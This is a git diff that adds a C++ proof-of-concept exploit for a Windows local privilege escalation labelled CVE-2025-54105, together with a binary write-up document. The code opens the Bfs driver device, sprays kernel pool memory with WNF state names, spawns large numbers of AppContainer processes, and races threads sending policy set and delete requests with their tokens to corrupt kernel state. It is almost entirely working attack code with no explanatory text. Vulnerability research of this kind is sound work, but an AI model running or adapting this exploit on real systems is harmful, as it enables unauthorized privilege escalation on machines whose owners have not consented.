diff --git a/CVE-2025-54105/BfsLpe2.cpp b/CVE-2025-54105/BfsLpe2.cpp new file mode 100644 index 0000000..86080a3 --- /dev/null +++ b/CVE-2025-54105/BfsLpe2.cpp @@ -0,0 +1,619 @@ + +#include +#include + + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include "wnf.h" +#include "Bfs2.h" + +#include +#pragma comment(lib, "Userenv.lib") + +PWSTR gProcessPath = NULL; + +typedef HRESULT(WINAPI* __CreateAppContainerProfile)( + _In_ PCWSTR pszAppContainerName, + _In_ PCWSTR pszDisplayName, + _In_ PCWSTR pszDescription, + _In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities, + _In_ DWORD dwCapabilityCount, + _Outptr_ PSID* ppSidAppContainerSid); +typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)( + _In_ PCWSTR pszAppContainerName, + _Outptr_ PSID* ppsidAppContainerSid); + +typedef BOOL(WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)( + _In_ LPCWSTR StringSecurityDescriptor, + _In_ DWORD StringSDRevision, + _Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor, + _Out_opt_ PULONG SecurityDescriptorSize); + +__NtCreateWnfStateName NtCreateWnfStateName = NULL; +__NtUpdateWnfStateData NtUpdateWnfStateData = NULL; +__NtQueryWnfStateData NtQueryWnfStateData = NULL; +__NtDeleteWnfStateData NtDeleteWnfStateData = NULL; +__NtDeleteWnfStateName NtDeleteWnfStateName = NULL; + +void CreateContainerIf(PSID* ppSidAppContainerSid, int Tid, ULONGLONG TickCount64) { + + PCWSTR pszAppContainerBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28"; + PCWSTR pszDisplayBaseName = L"Container_c83b2e04-432a-4767-a737-143733ee9f28"; + PCWSTR pszBaseDescription = L"This is Container_c83b2e04-432a-4767-a737-143733ee9f28."; + + WCHAR szAppContainerName[0x200] = { 0 }; + WCHAR szDisplayName[0x200] = { 0 }; + WCHAR szDescription[0x200] = { 0 }; + + swprintf_s(szAppContainerName, 0x200, L"%ls-%x-%I64x", pszAppContainerBaseName, Tid, TickCount64); + swprintf_s(szDisplayName, 0x200, L"%ls-%x-%I64x", pszDisplayBaseName, Tid, TickCount64); + swprintf_s(szDescription, 0x200, L"%ls-%x-%I64x", pszBaseDescription, Tid, TickCount64); + + HRESULT Hr = CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid); + if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) { + + Hr = DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid); + } +} + + +struct _SiloSID +{ + unsigned __int8 Revision; + unsigned __int8 SubAuthorityCount; + _SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + unsigned int SubAuthority[2]; +}; + +_SiloSID CreateAppSiloCapability() { + _SiloSID SeAppSiloSid = { 0 }; + _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 }; + + IdentifierAuthority.Value[0] = 0; + IdentifierAuthority.Value[1] = 0; + IdentifierAuthority.Value[2] = 0; + IdentifierAuthority.Value[3] = 0; + IdentifierAuthority.Value[4] = 0; + IdentifierAuthority.Value[5] = 0xF; + + InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u); + SeAppSiloSid.SubAuthority[0] = 3; + SeAppSiloSid.SubAuthority[1] = 0x10000; + + return SeAppSiloSid; +} + +struct _PROC_THREAD_ATTRIBUTE +{ + unsigned __int64 Attribute; + unsigned __int64 Size; + unsigned __int64 Value; +}; + + +struct _PROC_THREAD_ATTRIBUTE_LIST +{ + unsigned int PresentFlags; + unsigned int AttributeCount; + unsigned int LastAttribute; + unsigned int SpareUlong0; + _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute; + _PROC_THREAD_ATTRIBUTE Attributes[1]; +}; + +bool LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) { + STARTUPINFOEX si = { sizeof(si) }; + PROCESS_INFORMATION pi; + SIZE_T size; + SECURITY_CAPABILITIES sc = { 0 }; + sc.AppContainerSid = pSidAppContainerSid; + + SID_AND_ATTRIBUTES Capabilities[1] = { 0 }; + + _SiloSID SeAppSiloSid = CreateAppSiloCapability(); + Capabilities[0].Sid = (PSID)(&SeAppSiloSid); + Capabilities[0].Attributes = 0xf; + + + sc.CapabilityCount = 1; + sc.Capabilities = Capabilities; + + InitializeProcThreadAttributeList(nullptr, 1, 0, &size); + BYTE* buffer = (BYTE*)malloc(size); + memset(buffer, 0, size); + + si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer); + InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); + BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr); + + + WCHAR szCommandLine[MAX_PATH]; + + swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath); + + bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi); + *pProcessHandle = pi.hProcess; + *pThreadHandle = pi.hThread; + + return bResult; +} + +int LoadWnfApi() +{ + HMODULE hNtDll = NULL; + hNtDll = LoadLibraryA("ntdll.dll"); + if (hNtDll == NULL) + { + printf("load ntdll failed!\r\n"); + return -1; + } + + NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName"); + NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData"); + NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData"); + NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData"); + NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName"); + if (NtCreateWnfStateName == NULL || + NtUpdateWnfStateData == NULL || + NtQueryWnfStateData == NULL || + NtDeleteWnfStateData == NULL || + NtDeleteWnfStateName == NULL) + { + printf("not found functions\r\n"); + return -1; + } + + return 0; +} + +WNF_STATE_NAME gStateNames[0x10000]; +int gStateCount = 0x10000; + +bool WnfSprayPrepare() { + NTSTATUS Status = 0; + char Entry[0x1000 - 0x10] = { 0 }; + PSECURITY_DESCRIPTOR pSD = NULL; + + WNF_STATE_NAME StateName; + + int DataCount = 0x1000; + WNF_STATE_NAME StateNames[0x1000]; + + HMODULE hModule = NULL; + hModule = LoadLibraryA("advapi32.dll"); + + __ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW"); + + if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr)) + { + return false; + } + + for (int i = 0; i < gStateCount; ++i) { + Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); + if (Status != 0) + { + printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status); + break; + } + } + + + if (pSD) + { + LocalFree(pSD); + } + + return true; +} + + +HANDLE OpenDevice() { + UNICODE_STRING usDevice = { 0 }; + + RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs"); + + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL); + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + HANDLE hDevice = NULL; + NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0); + + if (STATUS_SUCCESS != status) { + printf("[-] NtOpenFile() Return Code: %x\n", status); + printf("please check if the bfs service is running.\n"); + getchar(); + ExitProcess(1); + } + + return hDevice; +} + +HANDLE ghDevice = NULL; +DWORD gInputBufferLength = 100; +PVOID gInputBuffer[32]; + +DWORD gOutputBufferLength = 100; +PVOID gOutputBuffer = NULL; +HANDLE gTokenHandle = NULL; + +WCHAR gszSystemDir[MAX_PATH + 1] = { 0 }; +WCHAR gszFilePath[MAX_PATH + 1] = { 0 }; + +bool gThread2Exit = false; +HANDLE ghStartEvent3 = NULL; +HANDLE ghTriggerEvent3 = NULL; +HANDLE ghMonitorEvent = NULL; + +void SendPrepare() { + ghDevice = OpenDevice(); + + gOutputBuffer = malloc(gOutputBufferLength); + + memset(gInputBuffer, 0, gInputBufferLength); + memset(gOutputBuffer, 0, gOutputBufferLength); + + UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH); + swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir); + + for (int i = 0; i < 32; ++i) { + gInputBuffer[i] = malloc(gInputBufferLength); + _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[i]; + + Policy->TokenHandle = gTokenHandle; + Policy->FileType = 1; + Policy->PolicyValue = 2; + Policy->PolicyFlags = 0xf; + Policy->OperationType = 1; + + RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath); + + } + + ghStartEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL); + ghTriggerEvent3 = CreateEventW(NULL, TRUE, FALSE, NULL); + ghMonitorEvent = CreateEventW(NULL, FALSE, FALSE, NULL); + + LoadWnfApi(); +} + +int SendSetPolicyRequest(int Index, HANDLE TokenHandle, ULONG OperationType) { + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer[Index]; + Policy->OperationType = OperationType; + Policy->TokenHandle = TokenHandle; + + NTSTATUS Status = NtDeviceIoControlFile( + ghDevice, + NULL, + NULL, + NULL, + &IoStatusBlock, + 0x228004, + gInputBuffer[Index], + gInputBufferLength, + gOutputBuffer, + gOutputBufferLength); + if (Status != 0) { + printf("SendSetPolicyRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + } + + return Status; +} + +int BfsProcessDeletePolicyEntryRequest(int Index, HANDLE TokenHandle) { + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + *(HANDLE*)gInputBuffer[Index] = TokenHandle; + + + NTSTATUS Status = NtDeviceIoControlFile( + ghDevice, + NULL, + NULL, + NULL, + &IoStatusBlock, + 0x228010u, + gInputBuffer[Index], + gInputBufferLength, + gOutputBuffer, + gOutputBufferLength); + if (Status != 0) { + printf("BfsProcessDeletePolicyEntryRequest Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + } + return Status; +} + +void SiloMain() { + //getchar(); +} + + +int AppsiloProcessCount = 150; +HANDLE AppSiloTokenHandles[32][10000]; +HANDLE AppSiloThreadHandles[32][10000]; +HANDLE AppSiloProcessHandles[32][10000]; + +DWORD WINAPI HostWorker1(LPVOID lpParameter) { + int ThreadIndex = *(int*)lpParameter; + + + printf("Thread %d: Creating Policy Entry...\n", ThreadIndex); + for (int i = 0; i < AppsiloProcessCount; ++i) { + PSID pSidAppContainerSid = NULL; + int Tid = GetCurrentThreadId(); + ULONGLONG TickCount64 = GetTickCount64(); + CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64); + if (pSidAppContainerSid == NULL) { + printf("CreateContainerIf failed.\n"); + } + + HANDLE hProcess = NULL; + HANDLE hThread = NULL; + HANDLE hToken = NULL; + + if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) { + printf("LaunchContainerApp failed.\n"); + } + OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken); + + AppSiloProcessHandles[ThreadIndex][i] = hProcess; + AppSiloThreadHandles[ThreadIndex][i] = hThread; + AppSiloTokenHandles[ThreadIndex][i] = hToken; + + //WaitForSingleObject(AppSiloProcessHandles[ThreadIndex][i], INFINITE); + SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); + BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]); + SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); + } + + printf("Thread %d: Creating Policy Entry returned\n", ThreadIndex); + + //getchar(); + /*for (int i = 0; i < AppsiloProcessCount; ++i) { + CloseHandle(AppSiloTokenHandles[i]); + CloseHandle(AppSiloThreadHandles[i]); + CloseHandle(AppSiloProcessHandles[i]); + }*/ + + + + return 0; +} + +DWORD WINAPI HostWorker2(LPVOID lpParameter) { + int ThreadIndex = *(int*)lpParameter; + + while (!gThread2Exit) { + for (int i = 0; i < AppsiloProcessCount; ++i) { + if (AppSiloTokenHandles[ThreadIndex][i]) { + SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); + } + else { + Sleep(1); + } + + } + } + + return 0; +} + +DWORD WINAPI HostWorker3(LPVOID lpParameter) { + int ThreadIndex = *(int*)lpParameter; + + WaitForSingleObject(ghStartEvent3, INFINITE); + + printf("Thread %d: updating last access time.\n", ThreadIndex); + for (int i = 0; i < AppsiloProcessCount; ++i) { + SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); + } + printf("Thread %d: updating last access time, returned.\n", ThreadIndex); + + if (ThreadIndex % 2 == 0) { + + printf("Thread %d: waiting update last access time again.\n", ThreadIndex); + Sleep(11 * 1000); + printf("Thread %d: updating last access time.\n", ThreadIndex); + + for (int i = 0; i < AppsiloProcessCount; ++i) { + SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 3); + } + + printf("Thread %d: waiting ghTriggerEvent3.\n", ThreadIndex); + WaitForSingleObject(ghTriggerEvent3, INFINITE); + //printf("Thread %d: waiting ghTriggerEvent3, retruned.\n", ThreadIndex); + + bool bfirst = true; + while (true) { + for (int i = 0; i < AppsiloProcessCount; ++i) { + if (bfirst) { + printf("Thread %d: sending request...\n", ThreadIndex); + } + BfsProcessDeletePolicyEntryRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i]); + SendSetPolicyRequest(ThreadIndex, AppSiloTokenHandles[ThreadIndex][i], 1); + if (bfirst) { + bfirst = false; + printf("Thread %d: sending request, retruned.\n", ThreadIndex); + } + } + } + } + + return 0; +} + +DWORD WINAPI HostWorker(LPVOID lpParameter) { + + PSID pSidAppContainerSid = NULL; + int Tid = GetCurrentThreadId(); + ULONGLONG TickCount64 = GetTickCount64(); + CreateContainerIf(&pSidAppContainerSid, Tid, TickCount64); + if (pSidAppContainerSid == NULL) { + printf("CreateContainerIf failed.\n"); + } + + HANDLE hProcess = NULL; + HANDLE hThread = NULL; + HANDLE hToken = NULL; + + if (!LaunchContainerApp(pSidAppContainerSid, &hProcess, &hThread)) { + printf("LaunchContainerApp failed.\n"); + } + OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken); + WaitForSingleObject(hProcess, INFINITE); + + while (1) { + SendSetPolicyRequest(0, hToken, 3); + SetEvent(ghMonitorEvent); + if (WAIT_TIMEOUT != WaitForSingleObject(ghTriggerEvent3, 1000)) { + break; + } + } + + + + return 0; +} + +DWORD WINAPI HostMonitor(LPVOID lpParameter) { + + while (1) { + if (WAIT_TIMEOUT == WaitForSingleObject(ghMonitorEvent, 3000)) { + printf("SetEvent(ghTriggerEvent3)\n"); + SetEvent(ghTriggerEvent3); + break; + } + } + + return 0; +} + + +int ThreadIndex[32]; +void HostWorkerMain() { + HANDLE hThreads[32]; + HANDLE hThreads2[32]; + HANDLE hThreads3[32]; + + SendPrepare(); + + memset(AppSiloTokenHandles, 0, sizeof(AppSiloTokenHandles)); + memset(AppSiloThreadHandles, 0, sizeof(AppSiloThreadHandles)); + memset(AppSiloProcessHandles, 0, sizeof(AppSiloProcessHandles)); + + int ThreadCount = 32; + for (int i = 0; i < ThreadCount; ++i) { + ThreadIndex[i] = i; + hThreads[i] = CreateThread(NULL, 0, HostWorker1, &ThreadIndex[i], 0, NULL); + hThreads2[i] = CreateThread(NULL, 0, HostWorker2, &ThreadIndex[i], 0, NULL); + hThreads3[i] = CreateThread(NULL, 0, HostWorker3, &ThreadIndex[i], 0, NULL); + } + + + + Sleep(1000); + printf("%u\n", GetTickCount()); + + WaitForMultipleObjects(ThreadCount, hThreads, TRUE, INFINITE); + printf("Thread1 returned\n"); + printf("%u\n", GetTickCount()); + + gThread2Exit = true; + + + WaitForMultipleObjects(ThreadCount, hThreads2, TRUE, INFINITE); + printf("Thread2 returned\n"); + printf("%u\n", GetTickCount()); + + SetEvent(ghStartEvent3); + + HANDLE hWorker = CreateThread(NULL, 0, HostWorker, NULL, 0, NULL); + HANDLE hMonitor = CreateThread(NULL, 0, HostMonitor, NULL, 0, NULL); + + WaitForMultipleObjects(ThreadCount, hThreads3, TRUE, INFINITE); + printf("Thread3 returned\n"); + printf("%u\n", GetTickCount()); + + TerminateThread(hWorker, 1); + TerminateThread(hMonitor, 1); + + //getchar(); + +} + + +HANDLE CreateWorkerProcess() { + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + WCHAR szCommandLine[MAX_PATH + 1]; + swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker", gProcessPath); + + bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); + return pi.hProcess; +} + +HANDLE CreateHostProcess() { + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + WCHAR szCommandLine[MAX_PATH + 1]; + swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath); + + bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); + return pi.hProcess; +} + + +void HostMain() { + int index = 0; + int WorkerCount = 1; + HANDLE ProcessHandles[100]; + + for (int i = 0; i < WorkerCount; ++i) { + ProcessHandles[i] = CreateWorkerProcess(); + } + + while (true) { + + DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE); + + ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess(); + } +} + +void Test() { + SendPrepare(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + //Test(); + + gProcessPath = argv[0]; + + if (argc == 1) { + //HostMain(); + HostWorkerMain(); + } + else if (argc == 2) { + SiloMain(); + } + else { + HostWorkerMain(); + } +} + + + +int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PWSTR szCmdLine, int iCmdShow) +{ + return wmain(__argc, __wargv); +} \ No newline at end of file diff --git a/CVE-2025-54105/Bfs_LPE2.docx b/CVE-2025-54105/Bfs_LPE2.docx new file mode 100644 index 0000000..3b7f096 Binary files /dev/null and b/CVE-2025-54105/Bfs_LPE2.docx differ